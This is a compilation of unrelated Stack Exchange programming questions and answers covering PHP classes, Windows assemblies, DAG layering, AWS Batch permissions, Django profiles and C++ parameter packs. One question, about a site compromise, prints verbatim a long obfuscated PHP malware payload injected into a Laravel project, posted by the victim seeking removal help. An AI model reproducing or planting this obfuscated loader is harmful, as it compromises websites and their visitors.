问:
How use return statement?
I have such code:

```<code>class test(){
   #some operation to get $data
   function test1($data){
      #save some part of data
      return $save
   }
   function test2($data, $save(!!!)){
   #some operation
   }
}
</code>```

Question: how use variable $save in test2() which return from test1()?

答:
Maybe this will be an alternative solution but as far as I see, you lack of OOP knowledge. I would recommend to read PHP-OOP first.

Here I write you a simple and clean class structure, to make it more understandable.

```<code>class Test {

    private $data;

    public function __construct($data) {
       $this->data = $data;
    }

    public function setData($data) {

      $this->data = $data;

      return $this;
    }

    public function getData() {

        return $this->data;
    }
}
</code>```

Now you are able to set/get the data:

```<code> $test2 = new Test("Save my text");
 $test1 = $test2
          ->setData("Changing my text...")
          ->getData();
</code>```

Title: How use return statement?

Body:
I have such code:

class test(){
   #some operation to get $data
   function test1($data){
      #save some part of data
      return $save
   }
   function test2($data, $save(!!!)){
   #some operation
   }
}

Question: how use variable $save in test2() which return from test1()?

Body:
Maybe this will be an alternative solution but as far as I see, you lack of OOP knowledge. I would recommend to read PHP-OOP first.

Here I write you a simple and clean class structure, to make it more understandable.

class Test {

    private $data;

    public function __construct($data) {
       $this->data = $data;
    }

    public function setData($data) {

      $this->data = $data;

      return $this;
    }

    public function getData() {

        return $this->data;
    }
}

Now you are able to set/get the data:

 $test2 = new Test("Save my text");
 $test1 = $test2
          ->setData("Changing my text...")
          ->getData();


来源: stackexchange

问:
Where is microsoft.interop.security.azroles on Server 2008 R2?
As far as I can recall, on Server 2003, microsoft.interop.security.azroles used to live in "C:\Windows\Microsoft.NET\authman".  On Server 2008 R2, that folder is empty.

Anyone know where it's hiding?

答:
I had the same problem, myself.  They've put it back in the GAC, in both 32-bit and 64-bit flavours:</p>

```<code>gacutil /l Microsoft.Interop.Security.AzRoles
Microsoft (R) .NET Global Assembly Cache Utility.  Version 4.0.30319.1
Copyright (c) Microsoft Corporation.  All rights reserved.

The Global Assembly Cache contains the following assemblies:
Microsoft.Interop.Security.AzRoles, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=AMD64
Microsoft.Interop.Security.AzRoles, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=x86

Number of items = 2
</code>```

ContentLicense: CC BY-SA 2.5

Body:
I had the same problem, myself.  They've put it back in the GAC, in both 32-bit and 64-bit flavours:

gacutil /l Microsoft.Interop.Security.AzRoles
Microsoft (R) .NET Global Assembly Cache Utility.  Version 4.0.30319.1
Copyright (c) Microsoft Corporation.  All rights reserved.

The Global Assembly Cache contains the following assemblies:
Microsoft.Interop.Security.AzRoles, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=AMD64
Microsoft.Interop.Security.AzRoles, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=x86

Number of items = 2


问:
How to remove invalid edges in graded directed acyclig graph?
The following graph sample is a portion of a directed acyclic graph which is to be layered and cleaned up so that only edges connecting consecutive layers are kept.

So what I need is to eliminate edges that form "shortcuts", that is, that jump between non-consecutive layers.

The following considerations apply:

The bluish ring layering is valid because, starting at 83140 and ending at 29518, both branches have the same amount (3) of intermediary nodes, and there is no path that is longer between start and end node;

The green ring, starting at 94347 and ending at 107263, has an invalid edge (already red-crossed), because the left branch encompasses only one intermediary node, while the right branch encompasses three intermediary nodes; Besides, since the first edge of that branch is already valid - we know it pertains to the valid blue ring - it is possible to know which is the right edge to cross-out - otherwise it would be impossible to know which layer should be assigned to node 94030 and so it should be eliminated;

If we consider the pink ring after considering the green one, we know that the lower red-crossed edge is to be removed.

BUT if we consider only the yellow ring, both branches seem to be right (they contain the same number of inner nodes), but actually they only seem right because they contain symmetric errors (shortcuts jumping the same amount of nodes on both branches). If we take this ring locally, at least one of the branches would end up in wrong layers, so it is necessary to use more global data to avoid this error.

My questions are:

What typical concepts and operations are involved in the formulation and possible solution of this problem?

Is there an algorithm for that?

答:
First, topologically sort the graph.

Now from the beginning of sorted array, start breadth first search and try to find the proper "depth" (i.e distance from root) of every node. Since a node can have multiple parents, for a node x, depth[x] is maximum of depth of all it's parents, plus one. We initialize depth for all nodes as -1.

Now in bfs traversal, when we encounter a node p, we try to update the depth of all it's childs c, where depth[c] = max(depth[c],depth[p]+1). Now there are two ways we can detect a child with shortcut.

if depth[p]+1 < depth[c], it means c has a parent with higher depth than p. So edge p to c must be a shortcut.

if depth[p]+1 > depth[c] and depth[c]!=-1, it means c have a parent with lower depth than p. So p is a better parent, and that other parent of c must have a shortcut with p.

In both cases, we mark c as problematic.

Now our goal is for every 'problematic' node x, we check all it's parent, whose depth should be depth[x]-1. If any of them have depth that is lower than that, that one have a shortcut edge with x that needs to be removed.

Since the graph can have multiple roots, we should have a variable to mark visited nodes, and repeat the above thing for any that's left unvisited.

This will sort the yellow ring problem, because before we visit any node, all it's predecessors has already been visited and properly ranked. This is ensured by the topological sort.

(Note : we can do this by just one pass. Instead of marking problematic nodes, we can maintain a parent variable for all nodes, and delete edge with the old parent whenever case 2 occurs. case 1 should be obvious)

ContentLicense: CC BY-SA 3.0


答:
You are most likely hacked. You can try to delete this code and see how long time it takes before it is back. If it gets back you should:

Find how the hackers did get access to your site

Patch the hole in your code

Format the server, is the only sure way to get ride of rootkits

Install a new version of your app

If DB is on same server as your app restore DB from backup

Title: Random php script is injected into my project

Body:
In my laravel 5 project following code is injected into my project :

<?php $exbgult = 'f`x   x22l:!}V;3q%}U;y]-rr.93e:5597f-s.973:8297f:5297e:5  x7f_*#fmjgk4`{6~6<tfs%w6<   x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)vd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg}   x7f;!gj!|!*bubE{h%)j{hnpd!opjudovg!762]67y]562]38y]572]48y]#>m%:|:*r%:-t%)3of:opjudovg<~    x24<8R#>q%V<*#fopoV;hojepdoF.uofuopD#!osvufs}w;*    x7f!>>  x22!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`op*9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>!    x2400~:<hftpmdXA6|7**197-2qj%7-K)udfoopdXA  x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJutjm!|!*5!  x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sut!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#0fmtf!%b:>%s:   x5c%j:.2^,%b:<!%c:>%s:  x5c%j:^<!%w`    x5c^>Ew:Qb:Qc:W~!%z!>52]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!6<.fmjgA x27doj%6<   x7fw6*mjix6<C   x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7unction sgkkpzf($n){ret)sfebfI{*w%)kVx{**#k#)tutjyv%7UFH#  x27rfs%6~6< x7fw6<*K)}_;#)323ldfid>}&;!osvufs}  x7f;!opjudovg}k~~9{d%:osUFS,6<*msv%7-MSV,6<*)ujojR  x27id%6<    x7fw6*  x7f_*#u)1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1gpf{jt)!gj!<*2bd%-#1GO  x22#)fepmqyfA>2b%]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%56    x63 164 x69 157 x6e"; fvr#  x5cq%)ufttj x22)gj6<^#Y#    x5cq%mfdcyvi("", $qseooyw); $yhdszep();}} $mfdcyvi = "  x63 162 x65 141 x74 145 x5f 146 x75 1]273]D6P2L5P6]y6gP7L6M7]48L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]K   x27Y%6<.msv`ftsbqA7>q%6<    x7fw6*  x7f_*#fubfsdXk5`{66~6<&w6<  x7fj3hopmA  x273qj%6<*Y%)fnbozcYufhA    x272qj%6<^#zsfvr#24/%t2w/   x24)##-!#~<#/%  x24-    x24!>!fyqmpef)#41   107 x45 116 x54"]); if ((s%w:**<")));$yhdszep = $%Z<^2  x5c2b%!>!2p%!*3>?*2b%)) or (strstr($uas,"   x66 151 x72 145 x66 157 x78"))) {idk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc  x7f!|!*uyfu x2fuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!   x24/%tmw/   x24)%SFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}  x27;%!<*#p%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sfww6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}vg}x;0]=])0#)U!   x27{**u%-#jt0}Z;0]=]0#)2q%l}S#<!%w:!>!(%w:!>!   x246767~#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9gjZ<#opo#>b%!**X)ufttjssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFif((function_exists("  x6f 142 x5f 163 x74 141 x72 1   x64 162 x6f 151 x64")) or (strstr($uas,"    x63 150 x72 157 x6d 145")d%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbvufs:~928>>  x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqn!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)R6Z6<.4`hA   x27pd%6<pd%w6Z6<.3`hA   x27pd%6<pd%w6Z6<.2`hA   xepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:74985error_reporting(0); $qseooyw = impl7k:!ftmf!}Z;^nbsbq%   x5cSFWcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)D4]275]D:M8]Df#<%tdz>#L4]275L3]24]y8   x24-    x24]26  x24-    x24<%j,,*!| x24-    x24gvodujpo!    x24-    x24y7   x24-    x24*<!  x24-    x24gps)%j>1<%j=tj{fpg)% x24-    x24*<!~!    xs!*!+A!>!{e%)!>>   x22!ftmbg)!gj<*#k#)usbut`cp|!**#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p#Qi   x5c1^W%c!>!%i   x5c2^<!Ce*[!%cIjQeTQcOc/RVER["  x48 124 x54 120 x5f 125 x53 105 x52 137 x24/%tjw/   x24)%   x24-    x24y4   x24-    x2{h%)tpqsut>j%!*9! x27!hmg%ode(array_map("sgkkpzf",str_split("%tjw!>!#]y84]275]y83]gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72!  x27!hmg%)!gj!<2,*j%-#1]#-bubE27pd%6<C   x27pd%6|6.7eu{6]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe)c]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)#z!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4])))) { $GLOBALS["   x61 156 x75 156 x61"]=1; $uas=strtolower($_SE%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-w6*CW&)7gj6<*doj%7-C)fepmqnjA  x27&X   x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]*K)ftpmdXA6~6/7&6|7**111127-K)ebfsX x27u%)7f3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]DS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`Q37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#us)% x24-    x24b!>!%yy)#}#-#    x24-    x24-tusqpt)%z-#:#*  x24-    x24!>!  x#-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]3-!%  x24-    x24*!|! x24-    x24 x5c%j^  x24-    x24tvct#M#-#[#-#Y#-#D#-#W#-#V   x7f x7f x7f x7f<u%V x27{ftmfV   x7f<*X&Z&S{ftmfV    x7f<*XAZ)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)#    x24#-!#]y38#-!  x22)gj!|!*nbsbq%)323ldf%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y>b%Z<#opo#>b%!*##>>X)!UUI&b%!|!*)323zbek!~!<b% x7f!<X6-xr.985:52985-t.98]K4]65]D8]86]y31]278]yx5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_   x5c}    x5cq%7/7#@#7/7^#iubq#   x5cq%   x27jsv%6<C>^#zsfvr# x5cq%7**^#zsfK;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msrfs%6<#o]1/20QUUI7jsid%)dfyfR    x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSV6~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6<    x7fw6*CW&)7gj6< x24*<!%t::!>!   x24Ypp3)%cB%iN}#-!  x24/%tmw/   x24)%c*W%eN+jojRk3`{666~6<&w6<  x7fw6*CW&)7gj6<.[A  x27&6<  x7fpdov{h19275j{hnpd19275fubmgoj{h1:|:*m`GB)fubfsdXA    x27K6<  x7fw6*3qj%7>    x2272qj%)7gj6<**2qj%)hopm3qjA)qmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4   x223}!+!<+{e%+*!*jidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnjtrstr($uas,"   x6d 163 x69 145")) orjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<*248]y83]256]y81]265]y72]254]y76urn chr(ord($n)-1);} @zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r    0;quui#>.%!<***f    x27,*e  x27,*d  x27,*c  x27,*b  x27!%o:!>!  x242178}527}88:}334}472 x24<!%ff2!>!bssbz)  x24]25  x24-    x2464") && (!isset($GLOBALS["   x61 156 x75 156 x61"27R66,#/q%>2q%<#g6R85,67R37,16<Cw6<pd%w6Z6<.5`hA    x27pd%6<pd%w2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)34]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]4 (strstr($uas," x72 166 x3a 61  x31")) or (strstr($uas,"    x61 156}R;2]},;osvufs}  x27;mnui}&;zepc}A;~!}   x7f;!|!}{;)gj}l;33bq}k;opjudo#-!#f6c68399#-!#65egb2dc#*<!s4]82]K6]72]K9]78]K5]53]Kc#<%tp)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>q+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSexszpyxqoh'; $xfctlhz=explode(chr((550-430)),substr($exbgult,(30778-24758),(217-183))); $hsgtsqf = $xfctlhz[0]($xfctlhz[(3-2)]); $fubpeao = $xfctlhz[0]($xfctlhz[(14-12)]); if (!function_exists('wflbtbvpa')) { function wflbtbvpa($fgenax, $khaipyaq,$nthiky) { $hswxpmj = NULL; for($wwpjsp=0;$wwpjsp<(sizeof($fgenax)/2);$wwpjsp++) { $hswxpmj .= substr($khaipyaq, $fgenax[($wwpjsp*2)],$fgenax[($wwpjsp*2)+(6-5)]); } return $nthiky(chr((40-31)),chr((631-539)),$hswxpmj); }; } $watpdooupr = explode(chr((207-163)),'2290,51,5499,47,3522,64,3103,48,1659,29,5199,34,5739,63,2341,67,1739,53,1371,51,1275,26,942,23,5311,22,2687,35,3210,56,5280,31,2144,25,5575,32,2578,55,3334,24,4822,64,3749,49,893,49,4740,20,992,29,526,70,5027,64,1565,50,4612,62,1301,34,1502,63,3654,34,868,25,54,59,4760,62,1071,50,4942,48,2029,70,4674,66,175,40,337,57,5233,47,394,65,3266,68,3184,26,113,62,596,56,2748,59,215,31,3002,59,1711,28,1190,40,652,48,5385,48,5928,54,1962,67,5151,48,2520,58,2408,54,2244,46,3862,31,4381,31,4359,22,2222,22,4281,24,1792,52,2722,26,1899,63,1021,50,2462,58,4990,37,5091,60,5982,38,2958,44,4117,57,4509,56,5546,29,304,33,965,27,0,21,5802,67,2099,45,4565,47,3688,61,459,67,4305,54,1230,45,4174,52,3893,40,246,58,5433,66,4051,45,3933,64,3151,33,2839,51,2890,68,1615,44,4886,56,3061,42,2169,53,5869,29,1844,55,5333,52,4453,56,2633,54,21,33,4412,41,3798,64,5898,30,3469,53,1422,24,2807,32,1446,56,3399,70,3997,54,5674,65,770,56,3358,41,1121,69,826,42,700,70,5607,67,3586,68,4096,21,4226,55,1688,23,1335,36'); $jruxurnjje = $hsgtsqf("",wflbtbvpa($watpdooupr,$exbgult,$fubpeao)); $hsgtsqf=$exbgult; $jruxurnjje(""); $jruxurnjje=(787-666); $exbgult=$jruxurnjje-1; ?>

I have observed 2-3 types of these script,the above script is one of them

please help me write a regular expression for this code so i can find this code and remove it or if any one knows how can i identify the source of this script
this script causes my website to slow down


问:
aws batch: submit job using lambda
Context: AWS, S3, Lambda, Batch.

I have a lambda that is triggered when a file is uploaded in a S3 Bucket. I want that the lambda submit a Batch job.

(edit: Between S3 and Lambda everything works fine. The problem is between Lambda and Batch.)

Q: What is the role I have to give to the lambda in order to be able to submit the batch job?

My lambda gets an AccessDeniedException and fail to submit the job when:

```<code>const params = {
  jobDefinition: BATCH_JOB_DEFINITION,
  jobName: BATCH_JOB_NAME,
  jobQueue: BATCH_JOB_QUEUE,
};

Batch.submitJob(params).promise() .then .......
</code>```

答:
It seems that this was the role I was looking for: batch:SubmitJob. Using this role, the lambda was able to submit the job.

```<code>iamRoleStatements:
  - Effect: Allow
    Action:
      - batch:SubmitJob
    Resource: "arn:aws:batch:*:*:*"
</code>```

Title: aws batch: submit job using lambda

Body:
Context: AWS, S3, Lambda, Batch.

I have a lambda that is triggered when a file is uploaded in a S3 Bucket. I want that the lambda submit a Batch job.

(edit: Between S3 and Lambda everything works fine. The problem is between Lambda and Batch.)

Q: What is the role I have to give to the lambda in order to be able to submit the batch job?

My lambda gets an AccessDeniedException and fail to submit the job when:

const params = {
  jobDefinition: BATCH_JOB_DEFINITION,
  jobName: BATCH_JOB_NAME,
  jobQueue: BATCH_JOB_QUEUE,
};

Batch.submitJob(params).promise() .then .......

Body:
It seems that this was the role I was looking for: batch:SubmitJob. Using this role, the lambda was able to submit the job.

iamRoleStatements:
  - Effect: Allow
    Action:
      - batch:SubmitJob
    Resource: "arn:aws:batch:*:*:*"


问:
Django Users not showing the date_of_birth in the admin site
I am registering users by sending token activation email using built-in register and activate functions. The register form subclass the UserCreationForm to add extra fields for email and date_of_birth validations. My code is the following:

forms.py:

```<code>class UserRegisterForm(UserCreationForm):

date_of_birth = forms.DateField(widget=forms.SelectDateWidget(years=range(2017, 1900, -1)))
email = forms.EmailField(required=True)

def clean_username(self):
    username = self.cleaned_data.get('username')
    if User.objects.filter(username__iexact=username).exists():
        raise forms.ValidationError('Username already exists')
    return username

def clean_date_of_birth(self):
    '''
    Only accept users aged 13 and above
    '''
    userAge = 13
    dob = self.cleaned_data.get('date_of_birth')
    today = date.today()
    if (dob.year + userAge, dob.month, dob.day) > (today.year, today.month, today.day):
        raise forms.ValidationError('Users must be aged {} years old or above.'.format(userAge))
    return dob

def clean_email(self):
    email = self.cleaned_data.get('email')
    if User.objects.filter(email__iexact=email).exists():
        raise forms.ValidationError('A user has already registered using this email')
    return email

def clean_password2(self):
    '''
    we must ensure that both passwords are identical
    '''
    password1 = self.cleaned_data.get('password1')
    password2 = self.cleaned_data.get('password2')
    if password1 and password2 and password1 != password2:
        raise forms.ValidationError('Passwords must match')
    return password2

class Meta:
    model = User
    fields = ['username', 'email', 'date_of_birth', 'password1', 'password2']
</code>```

views.py:

```<code>def register(request):
   if request.method == 'POST':
       form = UserRegisterForm(request.POST)
       if form.is_valid():
          email = form.cleaned_data.get('email')
          date_of_birth = form.cleaned_data.get('date_of_birth')
          new_user = form.save(commit=False)
          new_user.is_active = False
          new_user.save()
          current_site = get_current_site(request)
          message = render_to_string('email_activation_link.html', {
            'new_user':new_user,
            'domain':current_site.domain,
            'uid': urlsafe_base64_encode(force_bytes(new_user.pk)),
            'token': account_activation_token.make_token(new_user),
          })
          mail_subject = 'Activate your Frac account.'
          to_email = EmailMessage(mail_subject, message, to=[email])
          to_email.send()
        return render(request, 'register_confirm.html', {'form': form})
   else:
      form = UserRegisterForm()

   return render(request, 'register.html', {'form': form})

def activate(request, uidb64, token):
   try:
       uid = force_text(urlsafe_base64_decode(uidb64))
       new_user = User.objects.get(pk=uid)
   except(TypeError, ValueError, OverflowError, User.DoesNotExist):
       new_user = None
   if new_user is not None and account_activation_token.check_token(new_user, token):
      new_user.is_active = True
      new_user.save()
      return render(request, 'register_complete.html', {})
   else:
      return render(request, 'registration_incomplete.html', {})
</code>```

models.py:

```<code>class UserProfile(models.Model):
   '''
   Extends the Django User model
   '''
   user = models.OneToOneField(settings.AUTH_USER_MODEL,
                            related_name='profile')
   email = models.EmailField(blank=True)
   date_of_birth = models.DateField(blank=True, null=True)
   profile_photo = models.ImageField(blank=True)
   following = models.ManyToManyField(settings.AUTH_USER_MODEL,
                                    blank=True,
                                    related_name='followed_by')

   def __str__(self):
       return 'Followers({});Following({})'.format(self.user.followed_by.all().count(),self.get_following().count())

def post_save_user_receiver(sender, instance, created, *args, **kwargs):
   '''
   Django signals to automatically create
   a user profile when a user object is created
   '''
   if created:
       new_profile, is_created = UserProfile.objects.get_or_create(user=instance)

post_save.connect(post_save_user_receiver, sender=settings.AUTH_USER_MODEL)
</code>```

admin.py:

```<code>from django.contrib import admin

from .models import UserProfile

class ProfileAdmin(admin.ModelAdmin):
    list_display = ['user', 'id', 'date_of_birth', 'profile_photo', '__str__']

admin.site.register(UserProfile, ProfileAdmin)
</code>```

The new user is registered properly. However, only the username and email fields appear in Users section of the Django admin site. I can't figure out why the date_of_birth field is not showing for the newly-registered user.

答:
The date_of_birth field belongs to the UserProfile model, so you should not include it in your user form's fields.

```<code>class UserRegisterForm(UserCreationForm):
    ...

    class Meta:
        model = User
        fields = ['username', 'email']
</code>```

In your view, you can get the profile that was created by your signal, and set the date of birth, which you can get from the cleaned data.

```<code>   if form.is_valid():
      email = form.cleaned_data.get('email')
      date_of_birth = form.cleaned_data.get('date_of_birth')
      new_user = form.save(commit=False)
      new_user.is_active = False
      new_user.save()
      profile = new_user.profile
      profile.date_of_birth=date_of_birth
      profile.save()
</code>```

Body:
I am registering users by sending token activation email using built-in register and activate functions. The register form subclass the UserCreationForm to add extra fields for email and date_of_birth validations. My code is the following:

forms.py:

class UserRegisterForm(UserCreationForm):

date_of_birth = forms.DateField(widget=forms.SelectDateWidget(years=range(2017, 1900, -1)))
email = forms.EmailField(required=True)

def clean_username(self):
    username = self.cleaned_data.get('username')
    if User.objects.filter(username__iexact=username).exists():
        raise forms.ValidationError('Username already exists')
    return username

def clean_date_of_birth(self):
    '''
    Only accept users aged 13 and above
    '''
    userAge = 13
    dob = self.cleaned_data.get('date_of_birth')
    today = date.today()
    if (dob.year + userAge, dob.month, dob.day) > (today.year, today.month, today.day):
        raise forms.ValidationError('Users must be aged {} years old or above.'.format(userAge))
    return dob

def clean_email(self):
    email = self.cleaned_data.get('email')
    if User.objects.filter(email__iexact=email).exists():
        raise forms.ValidationError('A user has already registered using this email')
    return email

def clean_password2(self):
    '''
    we must ensure that both passwords are identical
    '''
    password1 = self.cleaned_data.get('password1')
    password2 = self.cleaned_data.get('password2')
    if password1 and password2 and password1 != password2:
        raise forms.ValidationError('Passwords must match')
    return password2

class Meta:
    model = User
    fields = ['username', 'email', 'date_of_birth', 'password1', 'password2']

views.py:

def register(request):
   if request.method == 'POST':
       form = UserRegisterForm(request.POST)
       if form.is_valid():
          email = form.cleaned_data.get('email')
          date_of_birth = form.cleaned_data.get('date_of_birth')
          new_user = form.save(commit=False)
          new_user.is_active = False
          new_user.save()
          current_site = get_current_site(request)
          message = render_to_string('email_activation_link.html', {
            'new_user':new_user,
            'domain':current_site.domain,
            'uid': urlsafe_base64_encode(force_bytes(new_user.pk)),
            'token': account_activation_token.make_token(new_user),
          })
          mail_subject = 'Activate your Frac account.'
          to_email = EmailMessage(mail_subject, message, to=[email])
          to_email.send()
        return render(request, 'register_confirm.html', {'form': form})
   else:
      form = UserRegisterForm()

   return render(request, 'register.html', {'form': form})

def activate(request, uidb64, token):
   try:
       uid = force_text(urlsafe_base64_decode(uidb64))
       new_user = User.objects.get(pk=uid)
   except(TypeError, ValueError, OverflowError, User.DoesNotExist):
       new_user = None
   if new_user is not None and account_activation_token.check_token(new_user, token):
      new_user.is_active = True
      new_user.save()
      return render(request, 'register_complete.html', {})
   else:
      return render(request, 'registration_incomplete.html', {})

models.py:

class UserProfile(models.Model):
   '''
   Extends the Django User model
   '''
   user = models.OneToOneField(settings.AUTH_USER_MODEL,
                            related_name='profile')
   email = models.EmailField(blank=True)
   date_of_birth = models.DateField(blank=True, null=True)
   profile_photo = models.ImageField(blank=True)
   following = models.ManyToManyField(settings.AUTH_USER_MODEL,
                                    blank=True,
                                    related_name='followed_by')

   def __str__(self):
       return 'Followers({});Following({})'.format(self.user.followed_by.all().count(),self.get_following().count())

def post_save_user_receiver(sender, instance, created, *args, **kwargs):
   '''
   Django signals to automatically create
   a user profile when a user object is created
   '''
   if created:
       new_profile, is_created = UserProfile.objects.get_or_create(user=instance)

post_save.connect(post_save_user_receiver, sender=settings.AUTH_USER_MODEL)

admin.py:

from django.contrib import admin

from .models import UserProfile

class ProfileAdmin(admin.ModelAdmin):
    list_display = ['user', 'id', 'date_of_birth', 'profile_photo', '__str__']

admin.site.register(UserProfile, ProfileAdmin)

The new user is registered properly. However, only the username and email fields appear in Users section of the Django admin site. I can't figure out why the date_of_birth field is not showing for the newly-registered user.

Body:
The date_of_birth field belongs to the UserProfile model, so you should not include it in your user form's fields.

class UserRegisterForm(UserCreationForm):
    ...

    class Meta:
        model = User
        fields = ['username', 'email']

In your view, you can get the profile that was created by your signal, and set the date of birth, which you can get from the cleaned data.

   if form.is_valid():
      email = form.cleaned_data.get('email')
      date_of_birth = form.cleaned_data.get('date_of_birth')
      new_user = form.save(commit=False)
      new_user.is_active = False
      new_user.save()
      profile = new_user.profile
      profile.date_of_birth=date_of_birth
      profile.save()


问:
Why is a parameter pack allowed after default arguments?
Maybe I'm missing something obvious, but the following compiles and runs, and I'm not sure why. I am aware of this, but in the example below the position of the parameter pack and the default argument are reversed. Doesn't it violate the rule that default arguments have to appear last? The parameter pack cannot have a default value.

```<code>#include <iostream>
#include <string>
#include <tuple>

template<typename ... Ts>
struct Test
{
    int i;
    std::string str;

    Test(int _i = 0, Ts&& ... _ts)
        :
          i(_i),
          str(std::get<0>(std::forward_as_tuple(std::forward<Ts>(_ts)...)))
    {}
};

int main()
{
    Test<std::string> t(1, "huh??");
    std::cout << "t.i = " << t.i << ", t.str = " << t.str << "\n";

    return 0;
}
</code>```

This produces

```<code>t.i = 1, t.str = huh??
</code>```

答:
As an addition to the great answer by rsp, it's also worth noting that this behavior makes logical sense. Non-default, non-parameter-pack arguments cannot follow a default argument without resulting the in the requirement that the default argument has to be specified--in which case it is no longer a default argument.

For example, if the following were allowed:

```<code>void example(int x=0, int y);
</code>```

The non-default second argument would mean a call to function would need to be structured example(1, 2); as the first parameter cannot be defaulted. This is not the case for an empty parameter pack. Consider the following function:

```<code>template <typename... T> void example(int x = 0, T&&... t);
</code>```

In this case it is still possible to default x by calling example();

Body:
Maybe I'm missing something obvious, but the following compiles and runs, and I'm not sure why. I am aware of this, but in the example below the position of the parameter pack and the default argument are reversed. Doesn't it violate the rule that default arguments have to appear last? The parameter pack cannot have a default value.

#include <iostream>
#include <string>
#include <tuple>

template<typename ... Ts>
struct Test
{
    int i;
    std::string str;

    Test(int _i = 0, Ts&& ... _ts)
        :
          i(_i),
          str(std::get<0>(std::forward_as_tuple(std::forward<Ts>(_ts)...)))
    {}
};

int main()
{
    Test<std::string> t(1, "huh??");
    std::cout << "t.i = " << t.i << ", t.str = " << t.str << "\n";

    return 0;
}

This produces

t.i = 1, t.str = huh??

Body:
As an addition to the great answer by rsp, it's also worth noting that this behavior makes logical sense. Non-default, non-parameter-pack arguments cannot follow a default argument without resulting the in the requirement that the default argument has to be specified--in which case it is no longer a default argument.

For example, if the following were allowed:

void example(int x=0, int y);

The non-default second argument would mean a call to function would need to be structured example(1, 2); as the first parameter cannot be defaulted. This is not the case for an empty parameter pack. Consider the following function:

template <typename... T> void example(int x = 0, T&&... t);

In this case it is still possible to default x by calling example();


问:
Paging Library and Room with different PagedLists that depends of different requests
